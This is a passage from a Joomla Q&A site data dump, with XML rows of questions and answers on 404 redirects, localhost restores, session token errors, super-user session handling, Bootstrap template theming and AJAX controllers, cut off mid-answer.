  <row Id="2516" PostTypeId="1" CreationDate="2014-07-07T07:29:31.477" Score="3" ViewCount="2100" Body="&lt;p&gt;I have a K2 item with alias &lt;code&gt;junior-tennis2&lt;/code&gt;.  This item should display at &lt;a href=&quot;http://www.melvilletenniscentre.com.au/junior-tennis2&quot; rel=&quot;nofollow&quot;&gt;http://www.melvilletenniscentre.com.au/junior-tennis2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this URL is being 302 redirected to &lt;a href=&quot;http://www.melvilletenniscentre.com.au/404&quot; rel=&quot;nofollow&quot;&gt;http://www.melvilletenniscentre.com.au/404&lt;/a&gt;, which has a redirect loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked the K2 item's alias, and the menu entry alias, and they're both &lt;code&gt;junior-tennis2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing in .htaccess redirecting this URL to 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't this URL loading correctly?  Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla: v2.5.17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2: v2.6.7&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2014-07-15T18:33:08.890" Title="K2 item producing a 404" Tags="|k2|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2517" PostTypeId="1" AcceptedAnswerId="2518" CreationDate="2014-07-07T11:31:14.277" Score="2" ViewCount="2666" Body="&lt;p&gt;I've backup my Joomla 3.3.1 website with Akeeba backup. I've installed this backup on a localhost (Xampp) with Akeeba kickstart.&lt;/p&gt;&#xA;&lt;p&gt;I can access the backend with this address: &lt;code&gt;http://localhost/joomla/administrator&lt;/code&gt; and everything is correctly installed.&lt;/p&gt;&#xA;&lt;p&gt;But when I try to connect to the front-end, on this address &lt;code&gt;http://localhost/joomla/&lt;/code&gt;,  I get a 404 error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Object not found!&#xA;&#xA;The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again.&#xA;&#xA;If you think this is a server error, please contact the webmaster.&#xA;Error 404&#xA;localhost&#xA;Apache/2.4.9 (Win32) OpenSSL/1.0.1g PHP/5.5.11 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Before getting this error I was redirected to the original site URL, so I commented out those lines in my .htacess:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www.mywebsite.org$ [NC]&#xA;RewriteRule ^(.*)$ http://www.mywebsite.org/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any idea what I am suppose to do to make it work?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2021-01-09T12:21:23.573" LastActivityDate="2021-01-09T12:21:23.573" Title="Restoring site on localhost: keep redirecting back to old URL" Tags="|joomla-3.x|akeebabackup|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2518" PostTypeId="2" ParentId="2517" CreationDate="2014-07-07T11:44:07.647" Score="3" Body="&lt;p&gt;if you have acces to the backend, try disabling the SEF configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: then you have an issue with rewrite rules, check with an original .htaccess (cf joomla installation package) after that you can reenable SEF as it should work xampp.&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2014-07-07T11:50:41.450" LastActivityDate="2014-07-07T11:50:41.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2519" PostTypeId="2" ParentId="2513" CreationDate="2014-07-07T11:52:57.610" Score="6" Body="&lt;p&gt;You have a few options here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt; would be to do what @Bakual has recommended. I've never tried using ReReplacer but the extension is developed and maintained by a very popular and well praised developer, therefore it is bound to do the job well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could develop a small plugin and targets the menu items and replaces &lt;code&gt;[b]&lt;/code&gt; with a &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; tag using something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = //code to get menu items&#xA;$tag = array(&#xA;    '/\[b\](.*?)\[\/b\]/is',&#xA;);&#xA;$replace = array(&#xA;    '&amp;lt;strong&amp;gt;$1&amp;lt;/strong&amp;gt;',&#xA;);&#xA;$output = preg_replace($tag, $replace, $item);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beloved jQuery method which may I add is not the preferred method however &lt;strong&gt;might&lt;/strong&gt; be the easiest. Something similar to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.nav li a').html(function (i, html) {&#xA;     return html.replace(/(\w+\s\w+\s\w+)/, '&amp;lt;strong&amp;gt;$1&amp;lt;/strong&amp;gt;')&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-07-07T13:49:01.300" LastActivityDate="2014-07-07T13:49:01.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2520" PostTypeId="1" AcceptedAnswerId="2542" CreationDate="2014-07-07T16:14:29.957" Score="5" ViewCount="4363" Body="&lt;p&gt;The frontend icon on the language switch module is really annoying. How could I disable the frontend editing for a specific module? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I do need this icon for all the other modules, it just that this icon position position is straight on the language switcher...&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="168" LastEditDate="2014-07-31T07:59:05.290" LastActivityDate="2014-07-31T07:59:05.290" Title="How to disable frontend editing on a specific module?" Tags="|joomla-3.x|module|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2521" PostTypeId="2" ParentId="2520" CreationDate="2014-07-07T16:16:01.987" Score="1" Body="&lt;p&gt;I don't believe you can disable this for specific modules, however you can do it globally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend, go to &lt;strong&gt;System&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Global Configuration&lt;/strong&gt;, and you will see an option called &lt;em&gt;Mouse-over edit icons for&lt;/em&gt;, which you can simply set to none.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-07T16:16:01.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2522" PostTypeId="2" ParentId="2513" CreationDate="2014-07-07T16:21:02.303" Score="3" Body="&lt;p&gt;Have you ever used Maximenu CK? &lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/drop-a-tab-menus/11578&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/drop-a-tab-menus/11578&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a ton of extra functionality, which you probably won't need, but you can set it to be a stripped style so you can style the css yourself. Anyway, the cool part of this is it allows you to separate menu item text with pipe breaks and it will automatically add a class to the half that comes after the pipes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Menu||Item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you style the entire thing to match what you want for the &quot;My Menu&quot; section, then you override those styles using the class that's been applied to the &quot;Item&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very useful. Incidently, Maximenu also has mobile menu integration, description fields, and a few other cool options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mobile plugin can be found here: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension-specific/extensions-specific-non-sorted/22662&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension-specific/extensions-specific-non-sorted/22662&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-07-08T16:01:48.403" LastActivityDate="2014-07-08T16:01:48.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2523" PostTypeId="2" ParentId="2516" CreationDate="2014-07-07T16:53:34.903" Score="2" Body="&lt;p&gt;Check your trashed and unpublished k2 items for a duplicate alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had this problem once because there were to k2 items with the same alias and one of them was trashed. It was a fluke that it happened that way (totally my fault), Joomla! should prevent you from doubling up aliases, even in k2 items, but it caused exactly what you're describing.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-07-07T16:53:34.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2524" PostTypeId="2" ParentId="2433" CreationDate="2014-07-07T18:32:06.707" Score="2" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://docs.joomla.org/J3.x%3aUsing_Tags_in_an_Extension&quot; rel=&quot;nofollow&quot;&gt;document&lt;/a&gt; which will help you while integrating with Joomla tag system.&#xA;I have integrated tag system in some of my extensions and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this document is not sufficient enough to answer all of your questions but it will surely guide you through most of the doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some places i changed my extension code (not as per the document) so as to support joomla tagging since there are some MVC structure variation exists in my extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, in the earlier version of Joomla 3.1 there were few bugs in the tagging system but over the time those issues has been rectified and now it has reached to a stable state.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2014-07-07T18:38:13.650" LastActivityDate="2014-07-07T18:38:13.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2525" PostTypeId="2" ParentId="2513" CreationDate="2014-07-07T18:53:32.133" Score="2" Body="&lt;p&gt;Are you sure you should be using the &lt;code&gt;strong&lt;/code&gt; tag? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;strong&lt;/code&gt; should not be used to make text bold. Ditto the &lt;code&gt;em&lt;/code&gt; tag. &lt;code&gt;em&lt;/code&gt; is used to apply emphasis (as read) to a piece of text &lt;em&gt;not&lt;/em&gt; to render it in an italic font. If what you want is for some of the text of your menu item to appear in a heavier font-weight, then &lt;code&gt;b&lt;/code&gt; is a far better choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to have full control over the content of menu items I can recommend the JBType plugin from Joomla Bamboo; &lt;a href=&quot;http://www.joomlabamboo.com/joomla-extensions/jb-type-joomla-typography-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlabamboo.com/joomla-extensions/jb-type-joomla-typography-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using it you can simply enter your menu title like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A menu item with {jb_i}italics{/jb_i}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the plugin will render the output with em tags.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-07-08T11:13:31.433" LastActivityDate="2014-07-08T11:13:31.433" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2527" PostTypeId="1" CreationDate="2014-07-08T07:50:15.220" Score="1" ViewCount="1968" Body="&lt;p&gt;I have a site that is implemented in Joomla 3.1.5 on which the following are installed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.joomlart.com/joomla/templates/ja-muzic --&amp;gt; This is the theme&#xA;http://www.jomsocial.com/ --&amp;gt; Used as the community plugin&#xA;http://www.kunena.org/ --&amp;gt; The forums plugin&#xA;http://getk2.org/blog --&amp;gt; The Blog plugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course there are some custom components and modules that are implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue i am facing is that there is some kind of conflict happening between the sessions i think. What happens is that the session times out randomly or i get a error message as &quot;Invalid Token&quot;. All this even when the pages is being used continuously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the value in the back-end config , Session Lifetime is set to 60 and Session Handler is set to Database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or direction would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1618" LastEditorUserId="12352" LastEditDate="2019-11-16T22:54:13.303" LastActivityDate="2019-11-16T22:54:13.303" Title="Joomla Invalid token / Session timeout issue" Tags="|joomla-3.x|component|security|session|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2528" PostTypeId="2" ParentId="2520" CreationDate="2014-07-08T12:13:16.123" Score="1" Body="&lt;p&gt;module manager &gt; module &gt; permissions &gt; choose the group you want to allow/disallow front-end editing of module (or edit/edit state) &gt; change to denied&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-08T12:13:16.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2529" PostTypeId="2" ParentId="2520" CreationDate="2014-07-08T12:31:21.570" Score="1" Body="&lt;p&gt;You can use the module permissions and restrict what usergroups will have edit access to that module, but keep in mind that this will affect also the backend edit permissions.&#xA;Similar topic here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2391/hide-edit-module-option-in-front-end-for-admin-users&quot;&gt;Hide Edit Module option in front-end for admin users&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-07-08T12:31:21.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2530" PostTypeId="1" AcceptedAnswerId="4111" CreationDate="2014-07-08T12:49:16.830" Score="6" ViewCount="1531" Body="&lt;p&gt;I'm setting multiple session variables in a PHP script that is external to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variables are set consecutively using the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Access Joomla&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;//Store values in Joomla Session&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('firstvalue', $firstvalue);&#xA;$session-&amp;gt;set('secondvalue', $secondvalue);   &#xA;$session-&amp;gt;set('thirdvalue', $thirdvalue);&#xA;$session-&amp;gt;set('fourthvalue', $fourthvalue); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another script I then get the session variables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$firstvalue = $session-&amp;gt;get('firstvalue');&#xA;//etc etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm seeing is that the value for firstvalue &lt;strong&gt;occasionally&lt;/strong&gt; goes missing. I'm not sure if this happens to the other variables yet.&#xA;From what I've read, it's possible that Joomla is not locking the session. What I think that means is that Joomla tries to set firstvalue, but before it gets saved it is overwritten by another variable. Does this sound right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my understanding of the situation is right, I've come up with a few solutions. If you have some better ones I'd love to hear them :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;store the variables in an array and set them in one go.&lt;/li&gt;&#xA;&lt;li&gt;create different namespaces for each of the variables.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In summary,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if setting Joomla session variables consecutively in a script external to Joomla could cause some values to be lost.&#xA;If that is unlikely, I'd appreciate suggestions as to what could be causing the data loss and suggestions on how to solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2017-06-28T11:14:01.093" Title="Is there anything wrong with setting Joomla session variables consecutively in an external php script?" Tags="|cms|session|external-script|jsession|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2531" PostTypeId="1" AcceptedAnswerId="2533" CreationDate="2014-07-08T12:56:50.063" Score="2" ViewCount="2231" Body="&lt;p&gt;If a user A and a user B are both super user and the user A removes the super user permission of the user B, and the user B is logged in, while the user B session remain active, he can do anything on the system including recover his super user permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;code&gt;JUser::authorise&lt;/code&gt; method, we can see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function authorise($action, $assetname = null)&#xA;{&#xA;    // Make sure we only check for core.admin once during the run.&#xA;    if ($this-&amp;gt;isRoot === null)&#xA;    {&#xA;        //check if the user is root&#xA;    }&#xA;&#xA;    return $this-&amp;gt;isRoot ? true : JAccess::check($this-&amp;gt;id, $action, $assetname);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if the user get logged in as super user, the &lt;code&gt;JUser&lt;/code&gt; object in the session will have the &lt;code&gt;isRoot&lt;/code&gt; property as true and the &lt;code&gt;authorise&lt;/code&gt; method will always return true without check the current permission in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OBS&lt;/strong&gt;: &lt;code&gt;JFactory:getUser()&lt;/code&gt; return the &lt;code&gt;JUser&lt;/code&gt; in session&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-07-08T13:53:49.977" LastActivityDate="2014-07-11T21:08:55.677" Title="How destroy specific user session when we are using default php session handler?" Tags="|joomla-3.3.x|session|permissions|super-user|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2532" PostTypeId="2" ParentId="2527" CreationDate="2014-07-08T12:57:09.033" Score="2" Body="&lt;p&gt;To prevent simple CSRF attacks, request tokens are added to forms in the front-end and back-end Joomla! interfaces. &lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a change in the user session, tokens can be lost or renewed. Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the browsing session ends, session cookie is lost. If you access again, then a new token is issued for the new session&lt;/li&gt;&#xA;&lt;li&gt;When a user is authenticated, a new token is created. Unauthenticated pages can't submit forms with the previous token.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A way to reproduce the &quot;Invalid Token&quot; error: open two tabs to the same site, login into the site in one tab, and try to search anything in the second tab. As the first tab invalidates the first token and generates a new token, then the second tab, still having the first token in the search form, can't submit a query successfully.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-08T12:57:09.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2533" PostTypeId="2" ParentId="2531" CreationDate="2014-07-08T15:23:14.810" Score="1" Body="&lt;p&gt;Imho the only way would be to delete the session in the database (#__session table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the user is forced to log in again and the permissions are calculated fresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; As the comment below, there is no &quot;joomla way&quot; to destroy the session if we are using &lt;code&gt;JSessionStorageNone&lt;/code&gt;. So, &lt;code&gt;you likely have to wait till that users session times out or he logs out himself&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="49" LastEditDate="2014-07-11T21:08:55.677" LastActivityDate="2014-07-11T21:08:55.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2535" PostTypeId="1" AcceptedAnswerId="2537" CreationDate="2014-07-09T06:40:00.877" Score="4" ViewCount="2817" Body="&lt;p&gt;I am creating a new template for Joomla! 3.3.1.  I want to use bootstrap's amazing features. In addition to this I have downloaded a theme form &lt;a href=&quot;http://bootswatch.com/2/&quot; rel=&quot;nofollow&quot;&gt;http://bootswatch.com/2/&lt;/a&gt;. I have overwritten new theme files current bootstrap.css and bootstrap.min.css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use some methods like original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Add JavaScript Frameworks&#xA;  JHtml::_('bootstrap.framework');&#xA;//Add Stylesheets&#xA;  JHtmlBootstrap::loadCss();&#xA;//Load optional rtl Bootstrap css and Bootstrap bugfixes&#xA;  JHtmlBootstrap::loadCss($includeMaincss = false, $this-&amp;gt;direction);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can it be possible using new themes while keeping original files? I may also want to add theme options for the template in admin panel.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2016-04-17T13:40:22.407" Title="How to change Joomla! 3's bootstrap theme preserving original?" Tags="|templates|css|twitter-bootstrap-2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2537" PostTypeId="2" ParentId="2535" CreationDate="2014-07-09T10:23:23.380" Score="6" Body="&lt;p&gt;You don't overwrite core files. You never do. Just don't.&#xA;Put the CSS files into your template directory and load them from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at how the Protostar template does it. The CSS file is located here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/templates/protostar/css&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/templates/protostar/css&lt;/a&gt;&#xA;and loaded with this call: &lt;code&gt;$doc-&amp;gt;addStyleSheet('templates/' . $this-&amp;gt;template . '/css/template.css');&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/templates/protostar/index.php#L43&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/templates/protostar/index.php#L43&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some Notes:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JHtml::_('bootstrap.framework');&lt;/code&gt; &#xA;You don't have to call this unless you use some Bootstrap JavaScript features within your template. Which is usually not the case. If an extensions needs it, it will load it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JHtmlBootstrap::loadCss();&lt;/code&gt;&#xA;This will load the Bootstrap 2 CSS files shipped with Joomla. Usually you should not use this but compile your own template CSS file. Most likely, the theme you downloaded has them already included and customised.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JHtmlBootstrap::loadCss($includeMaincss = false, $this-&amp;gt;direction);&lt;/code&gt;&#xA;This may make sense to load some generic RTL adjustements. However I would test the template without those first and if everything is ok add the RTL features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-07-09T11:36:40.923" LastActivityDate="2014-07-09T11:36:40.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2538" PostTypeId="1" AcceptedAnswerId="2539" CreationDate="2014-07-09T10:31:05.130" Score="3" ViewCount="3325" Body="&lt;p&gt;I have searched everywhere for this answer but I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really like the new layout overrides in Joomla 3 but I want to be able to add a link to the intro_image.php file so that when a user clicks on a intro image they are taken to the full article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the answers I have found suggest removing the override and placing the php directly into the template override but this is really a backwards step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to keep my layout override but add a link to it. It seems simple but I can't figure it out.&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="126" LastEditDate="2014-12-03T10:29:59.173" LastActivityDate="2021-07-15T21:59:27.167" Title="Layout Overrides: Intro Image Link" Tags="|joomla-3.3.x|templates|overrides|template-override|layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2539" PostTypeId="2" ParentId="2538" CreationDate="2014-07-09T11:10:30.683" Score="4" Body="&lt;p&gt;The intro image is generated in the JLayout &lt;code&gt;layouts/joomla/content/intro_image.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override this in your own template in &lt;code&gt;/templates/your_template/html/layouts/joomla/content/intro_image.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just copy the file there and adjust as needed. I think you should be able to generate a link there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the link, you can use &lt;code&gt;JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, $displayData-&amp;gt;catid));&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-07-09T21:02:27.050" LastActivityDate="2014-07-09T21:02:27.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2540" PostTypeId="1" AcceptedAnswerId="3577" CreationDate="2014-07-09T14:13:41.127" Score="4" ViewCount="1037" Body="&lt;p&gt;We have a site which is used for files being uploaded and downloaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For added security we want to have it on set files when you click the link to download it you'll be requested a password, this is rather simple via the htaccess but we need these to be done via Joomla's admin. &lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="19" LastEditDate="2014-07-10T08:06:41.190" LastActivityDate="2014-07-12T15:53:42.353" Title="File password extra protection" Tags="|joomla-3.x|file-permissions|file-upload|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2541" PostTypeId="2" ParentId="146" CreationDate="2014-07-09T17:14:40.723" Score="20" Body="&lt;p&gt;This is a late answer for this very well answered question, but I wanted to add this cut-to-the-chase solution for those that just need a simple way to get to their components's data with an AJAX call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all the Joomla versions, 3rd party possibilities, and hacks that I found over several days of googling, this was the simplest approach I could come up with - and feedback is DEFINATELY appreciated.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Added function &lt;code&gt;execute&lt;/code&gt; to my existing main controller&lt;/li&gt;&#xA;&lt;li&gt;Created a subcontroller with a public function for the task(s) I wanted to call with AJAX&lt;/li&gt;&#xA;&lt;li&gt;Used the built in Joomla JResponseJson class to handle the output (&lt;em&gt;it's really nice!&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL to call/execute the task:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.mysite.com/index.php?option=com_example&amp;amp;task=ForAjax.mytaskname&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modified Main Controller \com_example\controller.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExampleController extends JControllerLegacy {&#xA;    public function display($cachable = false, $urlparams = false) {&#xA;        $app = JFactory::getApplication();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', 'default');&#xA;        $app-&amp;gt;input-&amp;gt;set('view', $view);&#xA;        parent::display($cachable, $urlparams);&#xA;        return $this;&#xA;    }&#xA;&#xA;    public function execute()&#xA;    {&#xA;        // Not technically needed, but a DAMN good idea.  See http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&#xA;        // JSession::checkToken();&#xA;        $task = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('task');&#xA;        try&#xA;        {&#xA;            parent::execute($task);&#xA;        }&#xA;        catch(Exception $e)&#xA;        {&#xA;            echo new JResponseJson($e);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New Subcontroller \com_example\controllers\forajax.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT.'/controller.php';&#xA;class ExampleControllerForAjax extends ExampleController&#xA;{&#xA;    public function MyTaskName()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        $data['myRequest'] =$_REQUEST;&#xA;        $data['myFile'] =__FILE__;&#xA;        $data['myLine'] ='Line '.__LINE__;&#xA;&#xA;        $app-&amp;gt;enqueueMessage('This part was reached at line ' . __LINE__);&#xA;        $app-&amp;gt;enqueueMessage('Then this part was reached at line ' . __LINE__);&#xA;        $app-&amp;gt;enqueueMessage('Here was a small warning at line ' . __LINE__, 